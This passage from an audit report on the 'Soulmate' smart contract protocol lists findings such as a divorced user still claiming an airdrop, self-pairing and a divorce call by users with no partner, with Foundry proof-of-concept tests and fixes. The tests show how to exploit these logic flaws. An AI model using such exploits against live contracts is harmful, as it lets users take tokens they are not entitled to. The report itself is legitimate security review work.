        _claimedBy[msg.sender] += tokenAmountToDistribute;

        emit TokenClaimed(msg.sender, tokenAmountToDistribute);

        loveToken.transferFrom(
            address(airdropVault),
            msg.sender,
            tokenAmountToDistribute
        );
    }
```

Impact

Divorced users can still claim Airdrop due to the incorrect divorce condition implemented inside `Airdrop::claim` function.

PoC

Add the test in the file: `test/unit/AirdropTest.t.sol`

Run the test:

```
forge test --mt test_DivorcedUserCanStillClaimAirdrop
```

```
function test_DivorcedUserCanStillClaimAirdrop() public {
    vm.prank(soulmate1);
    soulmateContract.mintSoulmateToken();

    // 10 days after another soulmate arrives
    vm.warp(block.timestamp + 10 days);

    vm.prank(soulmate2);
    soulmateContract.mintSoulmateToken();

    // after two days soulmate1 decides to get divorce
    vm.warp(block.timestamp + 2 days);
    // soulmate1 feels cheated and gets instant divorce
    vm.prank(soulmate1);
    soulmateContract.getDivorced();

    // assert check: both soulmates are now divorced
    vm.prank(soulmate1);
    assert(soulmateContract.isDivorced() == true);
    vm.prank(soulmate2);
    assert(soulmateContract.isDivorced() == true);

    uint256 balanceBeforeClaim = loveToken.balanceOf(soulmate1);

    // call the claim function on Airdrop
    // according to the protocol, they should not be able to claim
       airdrop
    vm.prank(soulmate1);
    airdropContract.claim();

    uint256 claimedBalance = loveToken.balanceOf(soulmate1) -
       balanceBeforeClaim;

    // the balance increases
    // this signifies that the user is still able to claim Airdrop even
        after getting divorce
    assert(claimedBalance > 0);
}
```

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Instead of checking divorce condition of Airdrop contract, check the same for the caller of `Airdrop::claim` function.

- `Soulmate` contract doesn't have the function to query the divorce condition of a user, therefore implementing the same inside `Soulmate` contract:

```
function isDivorced(address user) public view returns (bool) {
    return divorced[user];
}
```

- Modify the check inside `Airdrop::claim` function to check divorce condition for the caller (At line 53)

```
-if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+if (soulmateContract.isDivorced(msg.sender)) revert
    Airdrop__CoupleIsDivorced();
```

Medium

M-01. `Staking::claimRewards` doesn't consider the dust remaining in the contract when claim amount is greater than remaining token in Staking Vault.

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Staking.sol#L92

Summary

`Staking::claimRewards` doesn't consider the dust remaining in the contract when claim amount is greater than remaining token in Staking Vault, thus a user will not be able to claim their rewards if the LoveToken balance in the vault of Staking contract is just less than it.

Vulnerability Details

The vulnerability is present in the Staking contract where it doesn't allow user to claim the amount if it is greater than the balance of vault of Staking contract.

The remaining dust amount cannot be claimed if the claim amount is greater than that, but it should be implemented in such a way that the claim amount for the user should be reduced to the remaining dust amount.

Impact

Dust amount can never be claimed by user if the claim amount is more than remaining amount of Staking Vault contract.

Tools Used

Manual Review

Recommendations

If the claim amount is greater than remaining staking vault's balance then set claim amount to the remaining balance of staking vault.

M-02. `Soulmate::writeMessageInSharedSpace` overrides the previous message, leading to unviewed message when other soulmate modifes it without reading.

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L106

Summary

`Soulmate::writeMessageInSharedSpace` modifies the previous message, thus if the other soulmate writes a new message then they will not be able to read the message via `Soulmate::readMessageInSharedSpace` written by their soulmate.

Vulnerability Details

The vulnerability is present in the `Soulmate::writeMessageInSharedSpace` function which modifies the previously written message by anyone of the soulmate. It occurs because if the other soulmate writes the message before reading, then they will not able to view the message via `Soulmate::readMessageInSharedSpace` which was written by the first soulmate.

Impact

Soulmates will not be able to read messages effectively.

Tools Used

Manual Review

Recommendations

Allow the soulmates to write new message only if the other soulmate have read it.

M-03. `Soulmate::getDivorced` allows a user to get divorced even though they have no soulmate

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L124

Summary

`Soulmate::getDivorced` is used by soulmates to get divorce but it also allows users with no soulmate to get divorced.

Even though one doesn't have any soulmate still it doesn't revert and make `divorced` mapping for the `msg.sender` to true.

Along with that it should revert if the soulmates are divorced but still it again modifes the state to same values unnecessarily.

Vulnerability Details

The vulnerability is present in the `Soulmate::getDivorced` function where it doesn't revert for user having no soulmate and make the `divorced` mapping to true for them.

```
    function getDivorced() public {
        address soulmate2 = soulmateOf[msg.sender];
        divorced[msg.sender] = true;
        divorced[soulmateOf[msg.sender]] = true;
        emit CoupleHasDivorced(msg.sender, soulmate2);
    }
```

Here, if the caller, i.e. `msg.sender` has no soulmate, then `soulmate2` will be equal to `address(0)` and then it makes: - divorced for caller to true (even though they have no soulmate to divorce to) - makes divorced for `address(0)` to true.

Along with that it doesn't revert for already divorced soulmates and unnecessarily updates the state to same values.

Impact

- Allows a user who has no soulmate to successfully call it get divorced mapping for them to true.

Tools Used

Manual Review

PoC

Add the test in the file: `test/unit/SoulmateTest.t.sol`

Run the test:

```
forge test --mt test_UsersHavingNoSoulmateCanAlsoCallForDivorce
```

```
function test_UsersHavingNoSoulmateCanAlsoCallForDivorce() public {
    // here the user `soulmate1` has no soulmate
    assertEq(soulmateContract.soulmateOf(soulmate1), address(0));

    // soulmate1 calls divorce function
    vm.prank(soulmate1);
    soulmateContract.getDivorced();

    // here as the user soulmate1 has no soulmates, then there is no
       point of divorce
    // but still due to not implementing necessary checks, users having
        no soulmate can also get divorce
    vm.prank(soulmate1);
    assertEq(soulmateContract.isDivorced(), true);

    // as soulmate1 has no soulmate, therefore along with them for
       address(0), the mapping divorced becomes true
    vm.prank(address(0));
    assertEq(soulmateContract.isDivorced(), true);
}
```

Recommendations

Revert if user has no soulmate.

```
+    error Soulmate__CallerHasNoSoulmate();

     function getDivorced() public {
         address soulmate2 = soulmateOf[msg.sender];
```

```diff
+        if (soulmate2 == address(0)) {
+            revert Soulmate__CallerHasNoSoulmate();
+        }
         divorced[msg.sender] = true;
         divorced[soulmateOf[msg.sender]] = true;
         emit CoupleHasDivorced(msg.sender, soulmate2);
     }
```

M-04. A user calling `Soulmate::mintSoulmateToken` two times in a row one after another will make them their own soulmate

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L62

Summary

The `Soulmate::mintSoulmateToken` function allows users to get assigned to soulmates or wait for a soulmate, but considering the scenario where there is no user waiting for a soulmate and a user places the request, then he will be placed in the waiting list untill another persons calls the function, but if the same person again calls it then the user ends up being their own soulmate. A user can thus become their own soulmate if they call the function twice in quick succession.

Vulnerability Details

The vulnerability is present in the `Soulmate::mintSoulmateToken` function where if a person who has called it once and waiting for another user to call and become their soulmate calls it again by mistake or by intentionally will make them their own soulmate. This occurs due to missing address check to prevent the user waiting for soulmate to prevent calling the function again so that they do not become their own soulmate. The first call to mintSoulmateToken would set the user's address inside `idToOwners` corresponding to the current `nextID` at 0th idx. If the user calls the function again before another address, they would be set as their own soulmate as the function does not check whether the second soulmate is the same as the first.

Impact

The impact of this vulnerability is that it violates the intended functionality of the Soulmate protocol, which is to create pairs of soulmates. By allowing a user to become their own soulmate, the contract fails to maintain the integrity of the soulmate pairings.

Tools Used

Manual Review, Unit Test in Foundry

PoC

Add the test in the file: `test/unit/SoulmateTest.t.sol`

Run the test:

```
forge test --mt test_SamePersonCanBecomeTheirOwnSoulmate
```

```
function test_SamePersonCanBecomeTheirOwnSoulmate() public {
    vm.startPrank(soulmate1);
    // soulmate1 wants to find a soulmate
    soulmateContract.mintSoulmateToken();

    // soulmate1 again calls function, and get paired with themselves
    soulmateContract.mintSoulmateToken();
    vm.stopPrank();

    // soulmate1 end up being their own soulmate
    assertEq(soulmateContract.soulmateOf(soulmate1), soulmate1);
}
```

Recommendations

Add a check within the function to verify that the second soulmate is not the same as the first before proceeding with the minting process.

```
+   error Soulmate__AlreadyInWaiting();

    function mintSoulmateToken() public returns (uint256) {
        // Check if people already have a soulmate, which means already
             have a token
        address soulmate = soulmateOf[msg.sender];
        if (soulmate != address(0))
            revert Soulmate__alreadyHaveASoulmate(soulmate);

        address soulmate1 = idToOwners[nextID][0];
        address soulmate2 = idToOwners[nextID][1];
+       if (msg.sender == soulmate1) {
+           revert Soulmate__AlreadyInWaiting();
+       }
        if (soulmate1 == address(0)) {
            idToOwners[nextID][0] = msg.sender;
            ownerToId[msg.sender] = nextID;
            emit SoulmateIsWaiting(msg.sender);
        } else if (soulmate2 == address(0)) {
            idToOwners[nextID][1] = msg.sender;
            // Once 2 soulmates are reunited, the token is minted
            ownerToId[msg.sender] = nextID;
            soulmateOf[msg.sender] = soulmate1;
            soulmateOf[soulmate1] = msg.sender;
            idToCreationTimestamp[nextID] = block.timestamp;

            emit SoulmateAreReunited(soulmate1, soulmate2, nextID);

            _mint(msg.sender, nextID++);
        }

        return ownerToId[msg.sender];
    }
```

Low

L-01. No way to increase the total supply of LoveToken as it allows minting only once.

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Vault.sol#L28

Summary

There is no way to mint more KittyToken inside the Vault, as a result of which soulmates will not be able to claim Airdrop or get staking rewards for them being soulmates or staking amount respectively. LoveToken is used to represent how much love there is between two soulmates, as mentioned by the protocol. But when there is no LoveToken, they cannot show their love to the world.

Vulnerability Details

The vulnerability occurs due to fixed total supply of LoveToken, and more LoveToken cannot be minted and soulmates can no longer claim LoveToken.

Impact

- Soulmates cannot claim LoveToken'

- Users will not be able to receive their staking rewards

Tools Used

Manual Review

Recommendations

Admins should be able to mint more LoveToken, when LoveToken becomes scarce.